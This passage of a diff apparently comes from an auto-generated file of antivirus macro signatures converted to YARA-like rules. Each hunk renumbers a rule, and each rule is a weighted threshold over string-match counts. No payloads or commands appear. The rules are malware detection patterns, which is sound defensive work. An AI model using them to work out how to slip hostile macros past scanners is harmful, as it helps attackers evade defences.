"!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -310448,7 +326943,7 @@ rule _InfrastructureShared_23830{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*21038+(#a_53_2 & 1)*29795+(#a_38_3 & 1)*17988+(#a_3d_4 & 1)*7680) >=5 } -rule _InfrastructureShared_23831{ +rule _InfrastructureShared_25117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -310463,7 +326958,7 @@ rule _InfrastructureShared_23831{ ((#a_4c_0 & 1)*21539+(#a_77_2 & 1)*8235+(#a_6f_3 & 1)*656+(#a_29_4 & 1)*29555+(#a_2c_5 & 1)*656+(#a_68_6 & 1)*269) >=7 } -rule _InfrastructureShared_23832{ +rule _InfrastructureShared_25118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310475,7 +326970,7 @@ rule _InfrastructureShared_23832{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*27968+(#a_28_2 & 1)*28265) >=3 } -rule _InfrastructureShared_23833{ +rule _InfrastructureShared_25119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310487,7 +326982,7 @@ rule _InfrastructureShared_23833{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_6f_2 & 1)*11779) >=3 } -rule _InfrastructureShared_23834{ +rule _InfrastructureShared_25120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -310500,7 +326995,7 @@ rule _InfrastructureShared_23834{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*656+(#a_06_2 & 1)*-28561+(#a_90_3 & 1)*1538) >=4 } -rule _InfrastructureShared_23835{ +rule _InfrastructureShared_25121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -310511,7 +327006,7 @@ rule _InfrastructureShared_23835{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8742) >=1 } -rule _InfrastructureShared_23836{ +rule _InfrastructureShared_25122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -310523,7 +327018,7 @@ rule _InfrastructureShared_23836{ ((#a_53_0 & 1)*19747+(#a_4c_1 & 1)*21881+(#a_6d_2 & 1)*10358) >=1 } -rule _InfrastructureShared_23837{ +rule _InfrastructureShared_25123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310535,7 +327030,7 @@ rule _InfrastructureShared_23837{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*11305+(#a_90_2 & 1)*16386) >=3 } -rule _InfrastructureShared_23838{ +rule _InfrastructureShared_25124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310547,7 +327042,7 @@ rule _InfrastructureShared_23838{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_3d_2 & 1)*18432) >=3 } -rule _InfrastructureShared_23839{ +rule _InfrastructureShared_25125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310559,7 +327054,7 @@ rule _InfrastructureShared_23839{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8235+(#a_90_2 & 1)*12290) >=3 } -rule _InfrastructureShared_23840{ +rule _InfrastructureShared_25126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310571,7 +327066,7 @@ rule _InfrastructureShared_23840{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*-28640+(#a_70_2 & 1)*-28638) >=3 } -rule _InfrastructureShared_23841{ +rule _InfrastructureShared_25127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -310584,7 +327079,7 @@ rule _InfrastructureShared_23841{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_65_2 & 1)*24933+(#a_61_3 & 1)*28789) >=4 } -rule _InfrastructureShared_23842{ +rule _InfrastructureShared_25128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -310597,7 +327092,7 @@ rule _InfrastructureShared_23842{ ((#a_53_0 & 1)*19747+(#a_50_1 & 1)*27753+(#a_66_2 & 1)*17454+(#a_38_3 & 1)*15727) >=4 } -rule _InfrastructureShared_23843{ +rule _InfrastructureShared_25129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -310611,7 +327106,7 @@ rule _InfrastructureShared_23843{ ((#a_53_0 & 1)*19747+(#a_3d_1 & 1)*14392+(#a_6e_2 & 1)*14392+(#a_63_3 & 1)*30022+(#a_28_4 & 1)*27753) >=5 } -rule _InfrastructureShared_23844{ +rule _InfrastructureShared_25130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 06 00 21 " @@ -310625,7 +327120,7 @@ rule _InfrastructureShared_23844{ ((#a_46_0 & 1)*16675+(#a_2e_2 & 1)*10240+(#a_90_3 & 1)*8293+(#a_69_4 & 1)*22318+(#a_23_5 & 1)*6) >=5 } -rule _InfrastructureShared_23845{ +rule _InfrastructureShared_25131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -310640,7 +327135,7 @@ rule _InfrastructureShared_23845{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25968+(#a_65_2 & 1)*18765+(#a_02_3 & 1)*28224+(#a_20_4 & 1)*8224+(#a_53_5 & 1)*19747) >=6 } -rule _InfrastructureShared_23846{ +rule _InfrastructureShared_25132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310651,7 +327146,7 @@ rule _InfrastructureShared_23846{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*656) >=3 } -rule _InfrastructureShared_23847{ +rule _InfrastructureShared_25133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310663,7 +327158,7 @@ rule _InfrastructureShared_23847{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_20_2 & 1)*28530) >=3 } -rule _InfrastructureShared_23848{ +rule _InfrastructureShared_25134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 05 00 21 " @@ -310677,7 +327172,7 @@ rule _InfrastructureShared_23848{ ((#a_46_0 & 1)*16675+(#a_37_1 & 1)*13617+(#a_37_2 & 1)*13869+(#a_36_3 & 1)*29537+(#a_2b_4 & 1)*8816) >=3 } -rule _InfrastructureShared_23849{ +rule _InfrastructureShared_25135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -310689,7 +327184,7 @@ rule _InfrastructureShared_23849{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*28674+(#a_3d_3 & 1)*13824) >=4 } -rule _InfrastructureShared_23850{ +rule _InfrastructureShared_25136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -310702,7 +327197,7 @@ rule _InfrastructureShared_23850{ ((#a_53_0 & 1)*19747+(#a_15_1 & 1)*-28577+(#a_20_2 & 1)*-28640+(#a_20_3 & 1)*8224) >=4 } -rule _InfrastructureShared_23851{ +rule _InfrastructureShared_25137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -310715,7 +327210,7 @@ rule _InfrastructureShared_23851{ ((#a_53_0 & 1)*19747+(#a_75_1 & 1)*9760+(#a_64_2 & 1)*10344+(#a_6e_3 & 1)*26708) >=4 } -rule _InfrastructureShared_23852{ +rule _InfrastructureShared_25138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -310729,7 +327224,7 @@ rule _InfrastructureShared_23852{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*20227+(#a_63_2 & 1)*30022+(#a_69_3 & 1)*656+(#a_20_4 & 1)*8226) >=5 } -rule _InfrastructureShared_23853{ +rule _InfrastructureShared_25139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310741,7 +327236,7 @@ rule _InfrastructureShared_23853{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*28674+(#a_02_2 & 1)*24384) >=3 } -rule _InfrastructureShared_23854{ +rule _InfrastructureShared_25140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310753,7 +327248,7 @@ rule _InfrastructureShared_23854{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*28224+(#a_72_2 & 1)*29298) >=3 } -rule _InfrastructureShared_23855{ +rule _InfrastructureShared_25141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310765,7 +327260,7 @@ rule _InfrastructureShared_23855{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_50_2 & 1)*26112) >=3 } -rule _InfrastructureShared_23856{ +rule _InfrastructureShared_25142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310777,7 +327272,7 @@ rule _InfrastructureShared_23856{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_6e_2 & 1)*17923) >=3 } -rule _InfrastructureShared_23857{ +rule _InfrastructureShared_25143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 05 00 21 " @@ -310791,7 +327286,7 @@ rule _InfrastructureShared_23857{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*22377+(#a_72_2 & 1)*29537+(#a_90_3 & 1)*12090+(#a_56_4 & 1)*11892) >=4 } -rule _InfrastructureShared_23858{ +rule _InfrastructureShared_25144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -310805,7 +327300,7 @@ rule _InfrastructureShared_23858{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*26914+(#a_74_2 & 1)*28018+(#a_55_3 & 1)*20303+(#a_00_4 & 1)*17477) >=5 } -rule _InfrastructureShared_23859{ +rule _InfrastructureShared_25145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -310824,7 +327319,7 @@ rule _InfrastructureShared_23859{ ((#a_6c_0 & 1)*16675+(#a_49_1 & 1)*20307+(#a_2e_2 & 1)*30465+(#a_2e_3 & 1)*28261+(#a_01_4 & 1)*25445+(#a_03_5 & 1)*1+(#a_fd_6 & 1)*0+(#a_32_7 & 1)*656+(#a_90_8 & 1)*1538+(#a_4d_9 & 1)*14671) >=10 } -rule _InfrastructureShared_23860{ +rule _InfrastructureShared_25146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -310843,7 +327338,7 @@ rule _InfrastructureShared_23860{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*25960+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_fd_5 & 1)*0+(#a_38_6 & 1)*12147+(#a_6a_7 & 1)*31077+(#a_00_8 & 1)*0+(#a_54_10 & 1)*18509) >=11 } -rule _InfrastructureShared_23861{ +rule _InfrastructureShared_25147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -310853,7 +327348,7 @@ rule _InfrastructureShared_23861{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_23862{ +rule _InfrastructureShared_25148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -310866,7 +327361,7 @@ rule _InfrastructureShared_23862{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*12851+(#a_57_2 & 1)*8253+(#a_22_3 & 1)*8736) >=1 } -rule _InfrastructureShared_23863{ +rule _InfrastructureShared_25149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310878,7 +327373,7 @@ rule _InfrastructureShared_23863{ ((#a_53_0 & 1)*19747+(#a_5f_1 & 1)*28161+(#a_26_2 & 1)*10550) >=3 } -rule _InfrastructureShared_23864{ +rule _InfrastructureShared_25150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 04 00 21 " @@ -310891,7 +327386,7 @@ rule _InfrastructureShared_23864{ ((#a_53_0 & 1)*19747+(#a_68_1 & 1)*26739+(#a_02_2 & 1)*10350+(#a_79_3 & 1)*25454) >=3 } -rule _InfrastructureShared_23865{ +rule _InfrastructureShared_25151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -310903,7 +327398,7 @@ rule _InfrastructureShared_23865{ ((#a_46_0 & 1)*16675+(#a_58_1 & 1)*9326+(#a_47_3 & 1)*14336) >=4 } -rule _InfrastructureShared_23866{ +rule _InfrastructureShared_25152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -310916,7 +327411,7 @@ rule _InfrastructureShared_23866{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*8242+(#a_69_2 & 1)*21825+(#a_20_3 & 1)*25976) >=4 } -rule _InfrastructureShared_23867{ +rule _InfrastructureShared_25153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -310930,7 +327425,7 @@ rule _InfrastructureShared_23867{ ((#a_53_0 & 1)*19747+(#a_70_1 & 1)*29554+(#a_2e_2 & 1)*7680+(#a_28_3 & 1)*26988+(#a_66_4 & 1)*8961) >=5 } -rule _InfrastructureShared_23868{ +rule _InfrastructureShared_25154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -310946,7 +327441,7 @@ rule _InfrastructureShared_23868{ ((#a_4c_0 & 1)*21539+(#a_63_1 & 1)*30789+(#a_03_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_fe_5 & 1)*0+(#a_00_6 & 1)*144) >=7 } -rule _InfrastructureShared_23869{ +rule _InfrastructureShared_25155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 08 00 21 " @@ -310962,7 +327457,7 @@ rule _InfrastructureShared_23869{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*9760+(#a_20_2 & 1)*8226+(#a_20_3 & 1)*8226+(#a_22_4 & 1)*656+(#a_26_5 & 1)*8709+(#a_00_7 & 1)*3) >=1 } -rule _InfrastructureShared_23870{ +rule _InfrastructureShared_25156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310974,7 +327469,7 @@ rule _InfrastructureShared_23870{ ((#a_53_0 & 1)*19747+(#a_67_1 & 1)*656+(#a_02_2 & 1)*8236) >=3 } -rule _InfrastructureShared_23871{ +rule _InfrastructureShared_25157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -310986,7 +327481,7 @@ rule _InfrastructureShared_23871{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*31073+(#a_26_2 & 1)*29811) >=3 } -rule _InfrastructureShared_23872{ +rule _InfrastructureShared_25158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -310999,7 +327494,7 @@ rule _InfrastructureShared_23872{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*21536+(#a_4e_2 & 1)*30240+(#a_70_3 & 1)*-28563) >=4 } -rule _InfrastructureShared_23873{ +rule _InfrastructureShared_25159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311012,7 +327507,7 @@ rule _InfrastructureShared_23873{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*16386+(#a_02_2 & 1)*10341+(#a_72_3 & 1)*29557) >=4 } -rule _InfrastructureShared_23874{ +rule _InfrastructureShared_25160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311024,7 +327519,7 @@ rule _InfrastructureShared_23874{ ((#a_53_0 & 1)*19747+(#a_68_1 & 1)*26739+(#a_90_2 & 1)*28261) >=4 } -rule _InfrastructureShared_23875{ +rule _InfrastructureShared_25161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -311039,7 +327534,7 @@ rule _InfrastructureShared_23875{ ((#a_4c_0 & 1)*21539+(#a_44_1 & 1)*8313+(#a_28_2 & 1)*29797+(#a_2e_4 & 1)*7936+(#a_54_5 & 1)*28530+(#a_53_6 & 1)*25931) >=7 } -rule _InfrastructureShared_23876{ +rule _InfrastructureShared_25162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 06 00 21 " @@ -311054,7 +327549,7 @@ rule _InfrastructureShared_23876{ ((#a_53_0 & 1)*19747+(#a_06_1 & 1)*1424+(#a_72_2 & 1)*28271+(#a_28_3 & 1)*29288+(#a_65_4 & 1)*26227+(#a_2e_5 & 1)*12328) >=1 } -rule _InfrastructureShared_23877{ +rule _InfrastructureShared_25163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 07 00 21 " @@ -311070,7 +327565,7 @@ rule _InfrastructureShared_23877{ ((#a_53_0 & 1)*19747+(#a_7a_1 & 1)*28706+(#a_90_2 & 1)*10276+(#a_90_3 & 1)*29300+(#a_41_4 & 1)*11892+(#a_40_5 & 1)*-28558+(#a_02_6 & 1)*25456) >=1 } -rule _InfrastructureShared_23878{ +rule _InfrastructureShared_25164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -311082,7 +327577,7 @@ rule _InfrastructureShared_23878{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_22_2 & 1)*17408) >=3 } -rule _InfrastructureShared_23879{ +rule _InfrastructureShared_25165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -311094,7 +327589,7 @@ rule _InfrastructureShared_23879{ ((#a_53_0 & 1)*19747+(#a_3a_1 & 1)*656+(#a_00_2 & 1)*29816) >=3 } -rule _InfrastructureShared_23880{ +rule _InfrastructureShared_25166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -311106,7 +327601,7 @@ rule _InfrastructureShared_23880{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*8802+(#a_01_2 & 1)*28521) >=3 } -rule _InfrastructureShared_23881{ +rule _InfrastructureShared_25167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311118,7 +327613,7 @@ rule _InfrastructureShared_23881{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*656+(#a_46_3 & 1)*9984) >=4 } -rule _InfrastructureShared_23882{ +rule _InfrastructureShared_25168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311130,7 +327625,7 @@ rule _InfrastructureShared_23882{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*656+(#a_46_3 & 1)*9984) >=4 } -rule _InfrastructureShared_23883{ +rule _InfrastructureShared_25169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311142,7 +327637,7 @@ rule _InfrastructureShared_23883{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*656+(#a_46_3 & 1)*9984) >=4 } -rule _InfrastructureShared_23884{ +rule _InfrastructureShared_25170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311155,7 +327650,7 @@ rule _InfrastructureShared_23884{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_6f_2 & 1)*29443+(#a_00_3 & 1)*11296) >=4 } -rule _InfrastructureShared_23885{ +rule _InfrastructureShared_25171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311167,7 +327662,7 @@ rule _InfrastructureShared_23885{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*11040+(#a_2b_2 & 1)*8725) >=4 } -rule _InfrastructureShared_23886{ +rule _InfrastructureShared_25172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -311178,7 +327673,7 @@ rule _InfrastructureShared_23886{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*16386) >=3 } -rule _InfrastructureShared_23887{ +rule _InfrastructureShared_25173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311191,7 +327686,7 @@ rule _InfrastructureShared_23887{ ((#a_53_0 & 1)*19747+(#a_40_1 & 1)*-28614+(#a_02_2 & 1)*26944+(#a_6e_3 & 1)*17198) >=4 } -rule _InfrastructureShared_23888{ +rule _InfrastructureShared_25174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311204,7 +327699,7 @@ rule _InfrastructureShared_23888{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*16386+(#a_02_2 & 1)*29504+(#a_45_3 & 1)*21076) >=4 } -rule _InfrastructureShared_23889{ +rule _InfrastructureShared_25175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311217,7 +327712,7 @@ rule _InfrastructureShared_23889{ ((#a_53_0 & 1)*19747+(#a_40_1 & 1)*-28614+(#a_02_2 & 1)*26944+(#a_6e_3 & 1)*17198) >=4 } -rule _InfrastructureShared_23890{ +rule _InfrastructureShared_25176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311230,7 +327725,7 @@ rule _InfrastructureShared_23890{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*8736+(#a_00_2 & 1)*8805+(#a_6f_3 & 1)*15617) >=4 } -rule _InfrastructureShared_23891{ +rule _InfrastructureShared_25177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -311246,7 +327741,7 @@ rule _InfrastructureShared_23891{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*0) >=7 } -rule _InfrastructureShared_23892{ +rule _InfrastructureShared_25178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -311260,7 +327755,7 @@ rule _InfrastructureShared_23892{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*25708+(#a_20_2 & 1)*8744+(#a_63_3 & 1)*28755+(#a_0d_4 & 1)*784) >=1 } -rule _InfrastructureShared_23893{ +rule _InfrastructureShared_25179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0b 00 21 " @@ -311279,7 +327774,7 @@ rule _InfrastructureShared_23893{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*7568+(#a_04_2 & 1)*-28633+(#a_0a_4 & 1)*13827+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_01_9 & 1)*0+(#a_6f_10 & 1)*656) >=1 } -rule _InfrastructureShared_23894{ +rule _InfrastructureShared_25180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -311291,7 +327786,7 @@ rule _InfrastructureShared_23894{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*656+(#a_72_2 & 1)*656) >=3 } -rule _InfrastructureShared_23895{ +rule _InfrastructureShared_25181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311304,7 +327799,7 @@ rule _InfrastructureShared_23895{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_03_2 & 1)*1+(#a_01_3 & 1)*0) >=4 } -rule _InfrastructureShared_23896{ +rule _InfrastructureShared_25182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311317,7 +327812,7 @@ rule _InfrastructureShared_23896{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*30789+(#a_6e_2 & 1)*21096+(#a_02_3 & 1)*8235) >=4 } -rule _InfrastructureShared_23897{ +rule _InfrastructureShared_25183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -311331,7 +327826,7 @@ rule _InfrastructureShared_23897{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*24384+(#a_00_2 & 1)*11040+(#a_2e_3 & 1)*22099+(#a_6e_4 & 1)*26708) >=5 } -rule _InfrastructureShared_23898{ +rule _InfrastructureShared_25184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -311342,7 +327837,7 @@ rule _InfrastructureShared_23898{ ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*21794) >=1 } -rule _InfrastructureShared_23899{ +rule _InfrastructureShared_25185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 06 00 21 " @@ -311356,7 +327851,7 @@ rule _InfrastructureShared_23899{ ((#a_46_0 & 1)*21283+(#a_60_1 & 1)*16904+(#a_04_3 & 1)*-28604+(#a_04_4 & 1)*-28604+(#a_04_5 & 1)*-28604) >=1 } -rule _InfrastructureShared_23900{ +rule _InfrastructureShared_25186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0c 00 21 " @@ -311377,7 +327872,7 @@ rule _InfrastructureShared_23900{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*12851+(#a_62_2 & 1)*19456+(#a_9b_3 & 1)*29285+(#a_90_4 & 1)*16386+(#a_20_5 & 1)*656+(#a_28_6 & 1)*11040+(#a_20_7 & 1)*8308+(#a_2b_8 & 1)*8707+(#a_90_9 & 1)*16386+(#a_74_10 & 1)*21264+(#a_6f_11 & 1)*17722) >=1 } -rule _InfrastructureShared_23901{ +rule _InfrastructureShared_25187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -311389,7 +327884,7 @@ rule _InfrastructureShared_23901{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_3d_2 & 1)*14080) >=3 } -rule _InfrastructureShared_23902{ +rule _InfrastructureShared_25188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -311401,7 +327896,7 @@ rule _InfrastructureShared_23902{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_53_2 & 1)*22784) >=3 } -rule _InfrastructureShared_23903{ +rule _InfrastructureShared_25189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311414,7 +327909,7 @@ rule _InfrastructureShared_23903{ ((#a_53_0 & 1)*19747+(#a_2c_1 & 1)*656+(#a_02_2 & 1)*29816+(#a_6d_3 & 1)*14930) >=4 } -rule _InfrastructureShared_23904{ +rule _InfrastructureShared_25190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311427,7 +327922,7 @@ rule _InfrastructureShared_23904{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_6e_2 & 1)*2+(#a_22_3 & 1)*27753) >=4 } -rule _InfrastructureShared_23905{ +rule _InfrastructureShared_25191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -311441,7 +327936,7 @@ rule _InfrastructureShared_23905{ ((#a_53_0 & 1)*19747+(#a_66_1 & 1)*29251+(#a_73_2 & 